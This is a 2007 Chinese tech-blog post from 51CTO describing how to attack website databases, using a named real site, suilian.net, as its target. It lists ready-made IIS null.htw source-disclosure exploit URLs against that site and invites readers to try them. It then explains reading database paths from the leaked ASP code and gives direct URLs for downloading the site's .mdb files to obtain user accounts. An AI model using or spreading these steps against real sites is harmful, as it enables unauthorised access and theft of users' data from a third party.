博客登录
用户名:
密 码:
注册
|
登录
忘记密码?
51cto首页
|
博客
|
论坛
|
招聘
热点文章
奥运,中国奖牌到底排第几?
帮助
转载
:112
翻译
:0
原创
:0
技术
http://liuq5212.blog.51cto.com
>
复制链接
邀请加入技术圈
加友情链接
发短消息
相册
技术圈
博客
博客:
我的博客
|
发表文章
|
管理博客
|
退出
相册:
我的相册
|
上传图片
|
最近更新相册
技术圈:
创建技术圈
|
我加入的圈
|
搜索圈
51cto首页
博客首页
技术论坛
招聘频道
首页
《案例精解企业级网络构建》赠书活动开始啦!
最新活动:“Web安全大家谈”有奖征文
博主的更多文章>>
浅谈对数据库的攻击
2007-08-31 14:47:02
标签:
攻击
数据库
[
推送到技术圈
]
一般的web server都要使用数据库来存储信息,几乎所有的网站都要用数据库。这样就存在着两种可能,一种是使用小型数据库,如aceess,一般就储存在本地。另一种是使用大型数据库,如SQL server,Oracle这时候一般就放在另一台机器上,然后通过ODBC来访问它。
由于页面经常需要查询各种信息,修改用户信息等操作,实质上就是和数据库打交道了。这样就给非法用户留下利用的机会了。
对本地数据库的攻击。
对本地数据库的攻击一种方法就是下载数据库,然后呢,你就可以打开这个数据库得到内部的用户和帐号了,以及其它有用的信息。
下面以“水莲会”为例:
经过扫描,得知
www.suilian.net
使用的是虚拟主机,使用的是WIndows NT+IIS4.0.扫描器你可以使用twwwscan或者其它,其实功能都大同小异。
在对IIS攻击时如果能够看到ASP源代码,那么成功的可能性就很大了。
经过测试,发现此站点存在源代码暴露漏洞。。。
大家可以试试:
http://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/index.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/DetNew.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/detail.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/topic4.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlefrm.asp%20&CiRestriction=none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlenew.asp%20&CiRestriction=none&CiHiliteType=full
看见了什么?
当然源代码泄露的漏洞有很多种,这里就不一一列举,你可以去查漏洞手册。
现在你就可以去查看ASP源代码了。
如果你对ASP不熟悉,我简单介绍一下(其实佳佳也不熟悉)。
ASP是嵌在之间。一般使用VBScript或者JavaScript书写代码。
看这个例子使用VBScript书写的:
这是一个典型的与数据库连接的代码。
依次的步骤为:
建立连接对象,
设置数据库路径,
打开数据库,
设置记录对象,
取记录。
这里我们就可以知道数据库的类型,名称和路径,这里是在当前目录下。
还可以知道数据库的表名和字段名称。
有经验的程序员一般不会把数据库名直接放在代码里,而是在ODBC里设置数据源,以增加安全性。
然后就发现存在
d:\S\suilian\chat\news.mdb
d:\S\suilian\topic22.mdb等数据库
你只要使用
http://www.suilian.net/chat/news.mdb
http://www.suilian.net/topic22.mdb
就可以把它下载下来。。。
本文出自 51CTO.COM技术博客
上一篇
从IIS到SQL Server数据库安全
下一篇
浅谈对数据库的攻击(续)
类别:未分类 ┆
技术圈()
┆
阅读()
┆
评论()
┆
推送到技术圈
┆
返回首页
相关文章
浅谈对数据库的攻击(续)
sysbase数据库恢复
浪擎科技SQLServer数据库同步准实时方案
数据库下载漏洞攻击技术
两地业务系统数据实时同步方案
数据库主键设计文章绘粹
如何实现数据库完整备份 ——Oracle容灾技术..
oracle数据库学习
数据库安全:一些关于SQL Server 2000的安全配
文章评论
发表评论
昵 称:
验证码:
点击图片可刷新验证码
博客过2级,无需填写验证码
内 容:
暗夜恶魔
博客统计信息
用户名:暗夜恶魔
文章数:112
评论数:2
访问量:9634
无忧币:
581
博客积分:
509
博客等级:
3
注册日期:2007-08-02
热门文章
windows XP 系统文件诠释B
windows XP系统文件诠释C
windows XP 系统文件诠释..
清除无法显示隐藏文件的病毒
windows XP 系统文件诠释A
Windows XP 增强的DOS命令
GHOST常用参数详解
配置SQL Server 2000九大..
最新评论
[匿名]11:
写的太肤浅了,不像是一个专业人士..
yueyangflash
:
相信一个合格的数据库管理员不会犯..
51CTO推荐博文
关于Servlet中的事件监听
Java实现FTP上传下载功能
详解java中的this关键字
iBatis2学习笔记:与Sp..
PL/SQL中ORA-00942错的..
iBatis2学习笔记:基本..
SWT程序中嵌入第三方程..
做测试还是做开发?
iReport的简单配置
详解最优排序算法
快速撑握C#知识点之编..
友情链接
网络硬盘